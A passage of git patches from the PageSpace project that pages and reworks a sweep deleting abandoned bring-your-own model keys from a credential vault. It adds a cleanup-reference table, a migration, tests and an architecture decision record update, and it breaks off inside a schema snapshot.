? null : await store.delete({ ref, identity: { tenantId: ref.tenantId, identityId: tenant.identityId, channel: 'manage', blastRadius: 'tenant' }, upstream: 'not_attempted' }).catch(() => null); + const gone = deleted !== null && (deleted.ok || deleted.reason === 'not_found'); + const removed = gone && (await accounts.remove(row.id).then(() => true, () => false)); + if (removed) erased += 1; + else failed += 1; + } + return { scanned: rows.length, erased, failed }; +} diff --git a/packages/lib/src/agent-accounts/executor/plane-worker.ts b/packages/lib/src/agent-accounts/executor/plane-worker.ts index cab620503e..fae53720c7 100644 --- a/packages/lib/src/agent-accounts/executor/plane-worker.ts +++ b/packages/lib/src/agent-accounts/executor/plane-worker.ts @@ -35,7 +35,7 @@ import { createAgentAccountRepository } from '../agent-account-repository'; import { createPinnedHttpsClient, DEFAULT_PINNED_HTTPS_LIMITS } from './pinned-https-client'; import { createHttpRequestExecutor } from './http-request-executor'; import { createPlaneRequestHandler } from './plane-http-adapter'; -import { sweepOrphanedRefs } from './plane-orphan-sweep-worker'; +import { sweepAbandonedModelKeys, sweepOrphanedRefs } from './plane-orphan-sweep-worker'; import { hmacSha3_256 } from './plane-crypto'; import { OAUTH_PROVIDER_ENDPOINTS } from '../refresh/oauth-provider-endpoints'; import { AGENT_ACCOUNT_OPERATIONS } from '../registry/google-operations'; @@ -210,7 +210,9 @@ export async function startCredentialPlane({ config }: { readonly config: PlaneC // Erasure reaches the vault: refs whose reference row cascaded away are deleted (review MED-1). const accounts = createAgentAccountRepository({ db }); const sweep = setInterval(() => { - void sweepOrphanedRefs({ metadata, accounts, provisioner, store, now: () => Date.now() }).catch(() => undefined); + void sweepOrphanedRefs({ metadata, accounts, provisioner, store, now: () => Date.now() }) + .then(() => sweepAbandonedModelKeys({ accounts, provisioner, store, now: () => Date.now() })) + .catch(() => undefined); }, ORPHAN_SWEEP_INTERVAL_MS); sweep.unref(); server.on('close', () => { From d366c8506fa961a37d984b49a5a8b15292670532 Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Mon, 30 Nov 2026 02:41:11 -0600 Subject: [PATCH 27/35] fix(byok): page the abandoned-key sweep past failing rows; pin the side-question chain at route level sweepAbandonedModelKeys read the oldest 200 unactivated model-key rows on every run, so 200 rows that kept failing (an unknown tenant, say) kept it from every row after them. It now pages through all of them with a (createdAt, id) cursor, as the orphan sweep pages refs. Route-level tests for the side-question chain: - the global turn writes its mark before it saves the message a side question could read (call order); - the side question decides its key on the conversation it reads and hands that decision to the provider (the marker read itself is pinned against Postgres). ADR 0009 records the remaining known limit: an unconfirmed first vault write whose cleanup failed, followed by the person deleting their account before the sweep succeeds. The plane's first-write protocol shares it for every account kind. Tests: a full page of failing rows followed by a recoverable one (fails without paging); the cursor query against Postgres. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ12jxXV5C9TW95PTr3 --- .../api/ai/btw/__tests__/credit-gate.test.ts | 12 ++++++ .../messages/__tests__/credit-gate.test.ts | 9 +++++ ...model-keys-through-the-credential-plane.md | 1 + .../abandoned-model-key-sweep.test.ts | 30 ++++++++++++--- ...ent-account-repository.integration.test.ts | 7 +++- .../agent-account-repository.ts | 18 ++++++--- .../executor/plane-orphan-sweep-worker.ts | 38 +++++++++++++------ 7 files changed, 90 insertions(+), 25 deletions(-) diff --git a/apps/web/src/app/api/ai/btw/__tests__/credit-gate.test.ts b/apps/web/src/app/api/ai/btw/__tests__/credit-gate.test.ts index 1167018771..81ce705dd7 100644 --- a/apps/web/src/app/api/ai/btw/__tests__/credit-gate.test.ts +++ b/apps/web/src/app/api/ai/btw/__tests__/credit-gate.test.ts @@ -138,6 +138,18 @@ describe('POST /api/ai/btw credit gate', () => { expect(mocks.entitlement).toHaveBeenCalledWith('u1', 'free', spend); }); + it('BYOK (ADR 0009 I10) decides its key on the conversation it reads, and hands the provider that decision: a conversation marked managed keeps the side question on PageSpace\'s key', async () => { + const { resolveModelKeySource } = await import('@/lib/ai/core/model-key-source'); + // What `resolveModelKeySource` answers for a conversation a managed turn marked (pinned against Postgres in + // model-key-source.integration.test.ts), even before that turn's usage row exists. + vi.mocked(resolveModelKeySource).mockResolvedValueOnce({ source: 'managed' }); + await post(); + expect({ + decidedOn: vi.mocked(resolveModelKeySource).mock.calls[0]?.[0]?.conversationId, + providerKey: (mocks.provider.mock.calls[0] as unknown[] | undefined)?.[2], + }).toEqual({ decidedOn: 'c1', providerKey: expect.objectContaining({ keySource: { source: 'managed' } }) }); + }); + it('SPEND-4 (partial) a drive rule that moved the side question to another source is reported on its stream, from and to', async () => { mocks.gate.mockResolvedValue({ allowed: true, holdId: 'hold_1', walletId: 'w-own', spendSource: 'own_credits', fallback: { from: 'seat_allowance', to: 'own_credits' } }); const response = await post(); diff --git a/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts b/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts index d596f87b36..912920e8cc 100644 --- a/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts +++ b/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts @@ -742,6 +742,15 @@ describe('POST /api/ai/global/[id]/messages — usage logging durability (R4)', expect([foreign.status, refused.status, vi.mocked(markManagedConversation).mock.calls.length]).toEqual([404, 402, 0]); }); + it('a managed turn marks its conversation before it saves the message a side question could read', async () => { + const { markManagedConversation } = await import('@/lib/ai/core/model-key-source'); + const { messageRepository } = await import('@/lib/repositories/message-repository'); + await POST(makeRequest(), makeContext()); + const [marked] = vi.mocked(markManagedConversation).mock.invocationCallOrder; + const [saved] = vi.mocked(messageRepository.saveGlobalMessage).mock.invocationCallOrder; + expect({ marked: marked !== undefined, saved: saved !== undefined, markedFirst: marked < saved }).toEqual({ marked: true, saved: true, markedFirst: true }); + }); + it('a managed turn whose mark cannot be written stops before it saves anything or runs a model', async () => { const { markManagedConversation } = await import('@/lib/ai/core/model-key-source'); const { messageRepository } = await import('@/lib/repositories/message-repository'); diff --git a/docs/adr/0009-model-keys-through-the-credential-plane.md b/docs/adr/0009-model-keys-through-the-credential-plane.md index 710dc209d1..33d6a26723 100644 --- a/docs/adr/0009-model-keys-through-the-credential-plane.md +++ b/docs/adr/0009-model-keys-through-the-credential-plane.md @@ -22,6 +22,7 @@ The options: 2. **It is never an agent's tool.** `authorize` (http_request) refuses it as `kind_not_supported`, `listAccounts` hides it, and `changeable` refuses every edit, binding and delegation on it. Only `setModelKey`, `removeModelKey` and `authorizeInference` touch it. Saves and removals of one person's key run one at a time across replicas, under the per-account advisory lock. A save whose lock is lost while the key is being stored never activates it. A key OpenRouter rejects never becomes active, even if the plane cannot revoke it at that moment. A key a save gives up on has its material deleted. If the plane cannot delete it then, a write the plane committed loses its row, so the plane's orphan sweep erases its ref. A write the plane never confirmed may have left material with no plane metadata, which that sweep cannot see. That write keeps its never-activated row (`credentialVersion` 0), which no call uses and Settings does not show. The plane's abandoned-model-key sweep (`sweepAbandonedModelKeys`) deletes its material once the row is older than the orphan grace period, and removes the row only after the delete succeeds. A later save or removal by the person retires it sooner. Every model-key lookup reads all of the person's model-key rows, not the capped account listing. + Known limit, shared with every account kind: the plane's first write (`store-adapter-infisical.ts`, G1c E1) records no plane metadata before the vault write. If such a write was never confirmed, its cleanup delete failed, and the person deletes their account before the abandoned-model-key sweep succeeds, the account row cascades away and nothing references that material any more. Closing it means the plane recording a pending reference before every first vault write, a plane-protocol change for all account kinds, tracked as a follow-up. 3. **New presenter `inference-executor`.** - It resolves `api_key` only, and `api_key` reaches no executor besides HTTP and relay. - Its method set is `POST`. Generic canonicalization refuses it, the same way `ssh-executor` is handled. The executor also refuses any account that is not a model key (`kind_not_resolvable`). diff --git a/packages/lib/src/agent-accounts/__tests__/abandoned-model-key-sweep.test.ts b/packages/lib/src/agent-accounts/__tests__/abandoned-model-key-sweep.test.ts index 49825cf73c..dfc335ff10 100644 --- a/packages/lib/src/agent-accounts/__tests__/abandoned-model-key-sweep.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/abandoned-model-key-sweep.test.ts @@ -12,16 +12,24 @@ import { MODEL_KEY_PROVIDER_SLUG } from '../inference/model-key'; const NOW = 50_000_000; -const row = (id: string, tenantId = 'tenant_1') => ({ id, tenantId, kind: 'api_key' }) as unknown as AgentAccountRecord; +const row = (id: string, tenantId = 'tenant_1', createdAt = 1_000) => ({ id, tenantId, kind: 'api_key', createdAt: new Date(createdAt) }) as unknown as AgentAccountRecord; + +type Cursor = { readonly createdAt: Date; readonly id: string } | null; +const pastCursor = (r: AgentAccountRecord, after: Cursor) => + after === null || r.createdAt.getTime() > after.createdAt.getTime() || (r.createdAt.getTime() === after.createdAt.getTime() && r.id > after.id); function world({ rows, deleteAnswers = {}, tenants = ['tenant_1'] }: { rows: AgentAccountRecord[]; deleteAnswers?: Record; tenants?: string[] }) { const table = new Map(rows.map((r) => [r.id, r])); const listed: unknown[] = []; const deleted: DeleteInput[] = []; const accounts = { - listUnactivated: async (input: { providerSlug: string; createdBefore: number; limit: number }) => { + // Like the real query: oldest first, after the cursor, one page at a time. + listUnactivated: async (input: { providerSlug: string; createdBefore: number; after: Cursor; limit: number }) => { listed.push(input); - return [...table.values()]; + return [...table.values()] + .filter((r) => pastCursor(r, input.after)) + .sort((a, b) => a.createdAt.getTime() - b.createdAt.getTime() || (a.id < b.id ? -1 : 1)) + .slice(0, input.limit); }, remove: async (id: string) => void table.delete(id), }; @@ -51,7 +59,7 @@ describe('sweepAbandonedModelKeys', () => { rows: [...w.table.keys()], }).toEqual({ result: { scanned: 1, erased: 1, failed: 0 }, - listed: [{ providerSlug: MODEL_KEY_PROVIDER_SLUG, createdBefore: NOW - ORPHAN_GRACE_MS, limit: 200 }], + listed: [{ providerSlug: MODEL_KEY_PROVIDER_SLUG, createdBefore: NOW - ORPHAN_GRACE_MS, after: null, limit: 200 }], deleted: [{ ref: { tenantId: 'tenant_1', accountId: 'acct_1', kind: 'api_key' }, channel: 'manage', identityId: 'identity_tenant_1' }], rows: [], }); @@ -74,6 +82,18 @@ describe('sweepAbandonedModelKeys', () => { }); }); + it('given a full first page of rows that keep failing, should still reach and erase the row after them', async () => { + const stuck = Array.from({ length: 200 }, (_, i) => row(`stuck_${String(i).padStart(3, '0')}`, 'tenant_gone', 1_000)); + const w = world({ rows: [...stuck, row('acct_later', 'tenant_1', 2_000)] }); + const result = await w.sweep(); + expect({ result, later: w.table.has('acct_later'), stuckKept: stuck.every((r) => w.table.has(r.id)), pages: w.listed.length }).toEqual({ + result: { scanned: 201, erased: 1, failed: 200 }, + later: false, + stuckKept: true, + pages: 2, + }); + }); + it('given material the vault no longer holds, should remove the row', async () => { const w = world({ rows: [row('acct_1')], deleteAnswers: { acct_1: { ok: false, reason: 'not_found' } as DeleteResult } }); expect([await w.sweep(), [...w.table.keys()]]).toEqual([{ scanned: 1, erased: 1, failed: 0 }, []]); @@ -86,7 +106,7 @@ describe('sweepAbandonedModelKeys', () => { it('given the row removal failing after the material was deleted, should count it failed so the next run finishes it', async () => { const result = await sweepAbandonedModelKeys({ - accounts: { listUnactivated: async () => [row('acct_1')], remove: async () => Promise.reject(new Error('db down')) }, + accounts: { listUnactivated: async ({ after }) => (after === null ? [row('acct_1')] : []), remove: async () => Promise.reject(new Error('db down')) }, provisioner: { identityOf: async () => ({ identityId: 'identity_tenant_1' }) as never }, store: { delete: async () => ({ ok: true, removed: true, upstream: 'not_attempted' }) as DeleteResult }, now: () => NOW, diff --git a/packages/lib/src/agent-accounts/__tests__/agent-account-repository.integration.test.ts b/packages/lib/src/agent-accounts/__tests__/agent-account-repository.integration.test.ts index 6ef2336b83..0c7b8fc529 100644 --- a/packages/lib/src/agent-accounts/__tests__/agent-account-repository.integration.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/agent-account-repository.integration.test.ts @@ -144,9 +144,12 @@ describe('createAgentAccountRepository — against the real database', () => { const otherProvider = await repo.insert({ draft, owner: { kind: 'user', userId: owner }, tenantId, approvalPolicy: null }); await db.update(agentAccounts).set({ createdAt: new Date(Date.now() - 3 * 3_600_000) }).where(eq(agentAccounts.id, otherProvider.id)); const mine = new Set([older, old, fresh, activated, revoked, otherProvider.id]); - const listed = (await repo.listUnactivated({ providerSlug: 'openrouter-model-key', createdBefore: Date.now() - 3_600_000, limit: 10_000 })).map((row) => row.id).filter((id) => mine.has(id)); + const cutoff = Date.now() - 3_600_000; + const listed = (await repo.listUnactivated({ providerSlug: 'openrouter-model-key', createdBefore: cutoff, after: null, limit: 10_000 })).map((row) => row.id).filter((id) => mine.has(id)); + const [olderRow] = await db.select().from(agentAccounts).where(eq(agentAccounts.id, older)); + const pastOlder = (await repo.listUnactivated({ providerSlug: 'openrouter-model-key', createdBefore: cutoff, after: { createdAt: olderRow!.createdAt, id: older }, limit: 10_000 })).map((row) => row.id).filter((id) => mine.has(id)); await db.delete(users).where(eq(users.id, owner)); - expect(listed).toEqual([older, old]); + expect({ listed, pastOlder }).toEqual({ listed: [older, old], pastOlder: [old] }); }); it('given the owning user deleted, should cascade the accounts away', async () => { diff --git a/packages/lib/src/agent-accounts/agent-account-repository.ts b/packages/lib/src/agent-accounts/agent-account-repository.ts index 79814bd16e..c21b8d5d65 100644 --- a/packages/lib/src/agent-accounts/agent-account-repository.ts +++ b/packages/lib/src/agent-accounts/agent-account-repository.ts @@ -15,7 +15,7 @@ * (`__tests__/agent-account-repository.integration.test.ts`). */ import type { db as defaultDb } from '@pagespace/db/db'; -import { and, asc, desc, eq, gt, gte, inArray, isNull, lt, sql } from '@pagespace/db/operators'; +import { and, asc, desc, eq, gt, gte, inArray, isNull, lt, or, sql } from '@pagespace/db/operators'; import { agentAccountApprovals, agentAccountBindings, agentAccountDelegations, agentAccounts, type AccountKind, type AccountId, type AccountOwnerRef, type AgentAccountRecord, type TenantId } from '@pagespace/db/schema/agent-accounts'; import type { AgentPageId, ApprovalId, DelegationFact, DelegationId, GrantId, RequestDigest, UserId } from './grant'; import type { AccountApprovalPolicy, ApprovalScope } from './approval'; @@ -78,9 +78,14 @@ export type AgentAccountRepository = { readonly listForUserWithProvider: (input: { readonly userId: string; readonly providerSlug: string }) => Promise; /** * Rows of one provider a save never activated (`active`, credentialVersion 0) and created before `createdBefore`, - * oldest first: what an abandoned save left behind, for the plane's sweep. + * oldest first and after the `after` row (a page cursor), for the plane's sweep: what an abandoned save left behind. */ - readonly listUnactivated: (input: { readonly providerSlug: string; readonly createdBefore: number; readonly limit: number }) => Promise; + readonly listUnactivated: (input: { + readonly providerSlug: string; + readonly createdBefore: number; + readonly after: { readonly createdAt: Date; readonly id: string } | null; + readonly limit: number; + }) => Promise; readonly listForAgentPage: (agentPageId: string) => Promise; /** * The refresh worker's rotation, mirrored: `from` → `to` only while the row still reads `from` @@ -227,12 +232,13 @@ export function createAgentAccountRepository({ db }: { readonly db: AgentAccount return db.select().from(agentAccounts).where(and(eq(agentAccounts.ownerUserId, userId), eq(agentAccounts.providerSlug, providerSlug))).orderBy(desc(agentAccounts.createdAt)); }, - async listUnactivated({ providerSlug, createdBefore, limit }) { + async listUnactivated({ providerSlug, createdBefore, after, limit }) { + const pastCursor = after === null ? undefined : or(gt(agentAccounts.createdAt, after.createdAt), and(eq(agentAccounts.createdAt, after.createdAt), gt(agentAccounts.id, after.id))); return db .select() .from(agentAccounts) - .where(and(eq(agentAccounts.providerSlug, providerSlug), eq(agentAccounts.status, 'active'), eq(agentAccounts.credentialVersion, 0), lt(agentAccounts.createdAt, new Date(createdBefore)))) - .orderBy(asc(agentAccounts.createdAt)) + .where(and(eq(agentAccounts.providerSlug, providerSlug), eq(agentAccounts.status, 'active'), eq(agentAccounts.credentialVersion, 0), lt(agentAccounts.createdAt, new Date(createdBefore)), pastCursor)) + .orderBy(asc(agentAccounts.createdAt), asc(agentAccounts.id)) .limit(limit); }, diff --git a/packages/lib/src/agent-accounts/executor/plane-orphan-sweep-worker.ts b/packages/lib/src/agent-accounts/executor/plane-orphan-sweep-worker.ts index c042b884b0..419e4b7d26 100644 --- a/packages/lib/src/agent-accounts/executor/plane-orphan-sweep-worker.ts +++ b/packages/lib/src/agent-accounts/executor/plane-orphan-sweep-worker.ts @@ -12,7 +12,7 @@ * counted as failed and retried on the next run; nothing here throws. */ import type { StoreAdapter } from '../store/store-adapter'; -import type { AccountId, TenantId } from '@pagespace/db/schema/agent-accounts'; +import type { AccountId, AgentAccountRecord, TenantId } from '@pagespace/db/schema/agent-accounts'; import type { PlaneMetadataRepository } from '../store/plane-metadata-repository'; import type { TenantProvisioner } from '../store/infisical-tenant-provisioner-client'; import type { AgentAccountRepository } from '../agent-account-repository'; @@ -81,23 +81,37 @@ export async function sweepAbandonedModelKeys({ readonly store: Pick; readonly now: () => number; }): Promise<{ readonly scanned: number; readonly erased: number; readonly failed: number }> { - let rows: Awaited>; - try { - rows = await accounts.listUnactivated({ providerSlug: MODEL_KEY_PROVIDER_SLUG, createdBefore: now() - ORPHAN_GRACE_MS, limit: PAGE_SIZE }); - } catch { - return { scanned: 0, erased: 0, failed: 1 }; - } + const createdBefore = now() - ORPHAN_GRACE_MS; + let scanned = 0; let erased = 0; let failed = 0; - for (const row of rows) { + // Paged past every row, so rows that keep failing never keep the sweep from the ones after them. + let after: Parameters[0]['after'] = null; + for (;;) { + let rows: Awaited>; + try { + rows = await accounts.listUnactivated({ providerSlug: MODEL_KEY_PROVIDER_SLUG, createdBefore, after, limit: PAGE_SIZE }); + } catch { + failed += 1; + break; + } + scanned += rows.length; + for (const row of rows) { + if (await eraseAbandoned(row)) erased += 1; + else failed += 1; + } + if (rows.length < PAGE_SIZE) break; + const last = rows[rows.length - 1]!; + after = { createdAt: last.createdAt, id: last.id }; + } + return { scanned, erased, failed }; + + async function eraseAbandoned(row: AgentAccountRecord): Promise { // The row's ids are the plane's: a model key's ref is exactly its row. const ref = { tenantId: row.tenantId as TenantId, accountId: row.id as AccountId, kind: row.kind }; const tenant = await provisioner.identityOf(ref.tenantId).catch(() => null); const deleted = tenant === null ? null : await store.delete({ ref, identity: { tenantId: ref.tenantId, identityId: tenant.identityId, channel: 'manage', blastRadius: 'tenant' }, upstream: 'not_attempted' }).catch(() => null); const gone = deleted !== null && (deleted.ok || deleted.reason === 'not_found'); - const removed = gone && (await accounts.remove(row.id).then(() => true, () => false)); - if (removed) erased += 1; - else failed += 1; + return gone && accounts.remove(row.id).then(() => true, () => false); } - return { scanned: rows.length, erased, failed }; } From b785c161eb48bb0026344c7561e2354546b577a9 Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Mon, 30 Nov 2026 08:07:16 -0600 Subject: [PATCH 28/35] fix(byok): a model-key cleanup ref that outlives the account, recorded before the first vault write A model-key write the plane never confirmed may leave material with no plane metadata. The only reference to it was the never-activated account row, which deleting the person cascades away. A save now records a cleanup ref in model_key_cleanup_refs (migration 0396: account and plane-tenant ids, no foreign key) BEFORE its first vault write, and writes nothing if it cannot. It clears the ref once the write is known: committed (the plane's metadata references it) or refused (nothing stored). Abandoning a key keeps or re-records the ref whenever the delete did not succeed, and removes the row. The plane's sweepAbandonedModelKeys now works from those refs. For each one older than the orphan grace period, it: - deletes the material, which the plane's delete finds with or without metadata; - then removes any row left, then the ref; - only drops the ref when its key was activated; - pages past refs it cannot finish. listUnactivated is gone. The plane's main-DB role needs SELECT, DELETE on the table (PageSpace-Deploy fly/plane-main-db-role.sql). Tests: - the sweep: a person deleted before the write was confirmed, a stranded row, an activated key's stale ref, retry across runs, paging, not_found, unknown tenant, unreadable, unremovable and uncleared refs, a failed listing; - the executor: the ref is recorded before the write and cleared on commit and on refusal; nothing is written when the ref can't be recorded; an abandoned unconfirmed write keeps its ref; - the repository against Postgres: the ref survives the person's deletion, and the cursor listing. GDPR export coverage classifies the table; ADR 0009 describes it. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ12jxXV5C9TW95PTr3 --- .../account-authority-client.ts | 2 + ...model-keys-through-the-credential-plane.md | 10 +- .../drizzle/0396_model_key_cleanup_refs.sql | 8 + packages/db/drizzle/meta/0396_snapshot.json | 30640 ++++++++++++++++ packages/db/drizzle/meta/_journal.json | 7 + packages/db/src/schema/model-key-history.ts | 26 +- packages/lib/package.json | 5 + .../abandoned-model-key-sweep.test.ts | 116 +- ...tp-executor-end-to-end.integration.test.ts | 5 +- ...ent-account-repository.integration.test.ts | 27 - .../__tests__/model-key-authority.test.ts | 75 +- ...key-cleanup-repository.integration.test.ts | 78 + .../account-authority-executor.ts | 41 +- .../agent-account-repository.ts | 22 +- .../executor/plane-orphan-sweep-worker.ts | 59 +- .../agent-accounts/executor/plane-worker.ts | 4 +- .../model-key-cleanup-repository.ts | 56 + .../compliance/export/gdpr-export-coverage.ts | 4 + 18 files changed, 31016 insertions(+), 169 deletions(-) create mode 100644 packages/db/drizzle/0396_model_key_cleanup_refs.sql create mode 100644 packages/db/drizzle/meta/0396_snapshot.json create mode 100644 packages/lib/src/agent-accounts/__tests__/model-key-cleanup-repository.integration.test.ts create mode 100644 packages/lib/src/agent-accounts/model-key-cleanup-repository.ts diff --git a/apps/web/src/lib/agent-accounts/account-authority-client.ts b/apps/web/src/lib/agent-accounts/account-authority-client.ts index 24c1f5bdc2..2e5c6b2fbc 100644 --- a/apps/web/src/lib/agent-accounts/account-authority-client.ts +++ b/apps/web/src/lib/agent-accounts/account-authority-client.ts @@ -22,6 +22,7 @@ import type { PresenterKeyId } from '@pagespace/lib/agent-accounts/grant'; import { AGENT_ACCOUNT_OPERATIONS } from '@pagespace/lib/agent-accounts/registry/google-operations'; import { db, getAdvisoryLockPool } from '@pagespace/db/db'; import { createAccountChangeLock } from '@pagespace/lib/agent-accounts/account-change-lock'; +import { createModelKeyCleanupRepository } from '@pagespace/lib/agent-accounts/model-key-cleanup-repository'; let cached: AccountAuthority | null | undefined; @@ -43,6 +44,7 @@ export function getAccountAuthority(): AccountAuthority | null { registry: AGENT_ACCOUNT_OPERATIONS, consentKey: loadAccountConsentSigningKey(process.env), lockAccount: createAccountChangeLock(getAdvisoryLockPool()), + modelKeyCleanup: createModelKeyCleanupRepository({ db }), hash: (bytes) => createHash('sha3-256').update(bytes).digest('hex'), now: () => Date.now(), }); diff --git a/docs/adr/0009-model-keys-through-the-credential-plane.md b/docs/adr/0009-model-keys-through-the-credential-plane.md index 33d6a26723..f4285e0a1f 100644 --- a/docs/adr/0009-model-keys-through-the-credential-plane.md +++ b/docs/adr/0009-model-keys-through-the-credential-plane.md @@ -21,8 +21,14 @@ The options: 1. **A model key is an agent account.** It is a user-owned `api_key` account with the reserved `providerSlug` `openrouter-model-key`, pinned to `https://openrouter.ai:443`. The plane stores it with an ingress `put` (write-only). No main-DB column, response or later web request carries it. The one exception is ingress: during the submission request, the web process holds the key just long enough to validate its shape and hand it to `put` (`setModelKey`). It is never persisted there and never present at inference time. 2. **It is never an agent's tool.** `authorize` (http_request) refuses it as `kind_not_supported`, `listAccounts` hides it, and `changeable` refuses every edit, binding and delegation on it. Only `setModelKey`, `removeModelKey` and `authorizeInference` touch it. Saves and removals of one person's key run one at a time across replicas, under the per-account advisory lock. A save whose lock is lost while the key is being stored never activates it. A key OpenRouter rejects never becomes active, even if the plane cannot revoke it at that moment. - A key a save gives up on has its material deleted. If the plane cannot delete it then, a write the plane committed loses its row, so the plane's orphan sweep erases its ref. A write the plane never confirmed may have left material with no plane metadata, which that sweep cannot see. That write keeps its never-activated row (`credentialVersion` 0), which no call uses and Settings does not show. The plane's abandoned-model-key sweep (`sweepAbandonedModelKeys`) deletes its material once the row is older than the orphan grace period, and removes the row only after the delete succeeds. A later save or removal by the person retires it sooner. Every model-key lookup reads all of the person's model-key rows, not the capped account listing. - Known limit, shared with every account kind: the plane's first write (`store-adapter-infisical.ts`, G1c E1) records no plane metadata before the vault write. If such a write was never confirmed, its cleanup delete failed, and the person deletes their account before the abandoned-model-key sweep succeeds, the account row cascades away and nothing references that material any more. Closing it means the plane recording a pending reference before every first vault write, a plane-protocol change for all account kinds, tracked as a follow-up. + Before a save's first vault write, it records a cleanup reference (`model_key_cleanup_refs`: account and plane-tenant ids, no foreign key). It clears that reference once the write is known: committed, so the plane's own metadata references the material, or refused, so nothing was stored. + - A key a save gives up on has its material deleted and its row removed. If the plane cannot delete it then, the cleanup reference stays. + - The plane's abandoned-model-key sweep (`sweepAbandonedModelKeys`, on the orphan sweep's timer) reads references older than the orphan grace period. It deletes the material, which the plane's delete finds with or without plane metadata, then any row left, then the reference. + - The reference has no foreign key, so it survives the account row and the person. Material from a write the plane never confirmed is erased even if they are deleted first. + - A reference whose key was activated is only dropped. + - The sweep pages past references it cannot finish yet. + - The plane's main-DB role needs `SELECT, DELETE` on the table (PageSpace-Deploy `fly/plane-main-db-role.sql`). + Every model-key lookup reads all of the person's model-key rows, not the capped account listing. 3. **New presenter `inference-executor`.** - It resolves `api_key` only, and `api_key` reaches no executor besides HTTP and relay. - Its method set is `POST`. Generic canonicalization refuses it, the same way `ssh-executor` is handled. The executor also refuses any account that is not a model key (`kind_not_resolvable`). diff --git a/packages/db/drizzle/0396_model_key_cleanup_refs.sql b/packages/db/drizzle/0396_model_key_cleanup_refs.sql new file mode 100644 index 0000000000..f83236a884 --- /dev/null +++ b/packages/db/drizzle/0396_model_key_cleanup_refs.sql @@ -0,0 +1,8 @@ +CREATE TABLE "model_key_cleanup_refs" ( + "account_id" text PRIMARY KEY NOT NULL, + "tenant_id" text NOT NULL, + "kind" text NOT NULL, + "created_at" timestamp with time zone DEFAULT now() NOT NULL +); +--> statement-breakpoint +CREATE INDEX "model_key_cleanup_refs_created_idx" ON "model_key_cleanup_refs" USING btree ("created_at","account_id"); \ No newline at end of file diff --git a/packages/db/drizzle/meta/0396_snapshot.json b/packages/db/drizzle/meta/0396_snapshot.json new file mode 100644 index 0000000000..fdd49f4e8d --- /dev/null +++ b/packages/db/drizzle/meta/0396_snapshot.json @@ -0,0 +1,30640 @@ +{ + "id": "039a05d7-bd35-4b63-8d11-526e03aeab44", + "prevId": "0e10aec4-5df9-42e5-9794-00503cd375fd", + "version": "7", + "dialect": "postgresql", + "tables": { + "public.apple_sign_in_tokens": { + "name": "apple_sign_in_tokens", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "client_id": { + "name": "client_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "refresh_token": { + "name": "refresh_token", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "apple_sign_in_tokens_user_client_idx": { + "name": "apple_sign_in_tokens_user_client_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "client_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "apple_sign_in_tokens_user_id_users_id_fk": { + "name": "apple_sign_in_tokens_user_id_users_id_fk", + "tableFrom": "apple_sign_in_tokens", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.device_tokens": { + "name": "device_tokens", + "schema": "", + "columns": { + "authenticatedAt": { + "name": "authenticatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "authenticationAssurance": { + "name": "authenticationAssurance", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tokenHash": { + "name": "tokenHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tokenPrefix": { + "name": "tokenPrefix", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "lastUsedAt": { + "name": "lastUsedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "deviceId": { + "name": "deviceId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "platform": { + "name": "platform", + "type": "PlatformType", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "deviceName": { + "name": "deviceName", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "tokenVersion": { + "name": "tokenVersion", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "userAgent": { + "name": "userAgent", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "ipAddress": { + "name": "ipAddress", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "lastIpAddress": { + "name": "lastIpAddress", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "location": { + "name": "location", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "trustScore": { + "name": "trustScore", + "type": "real", + "primaryKey": false, + "notNull": true, + "default": 1 + }, + "suspiciousActivityCount": { + "name": "suspiciousActivityCount", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "revokedAt": { + "name": "revokedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "revokedReason": { + 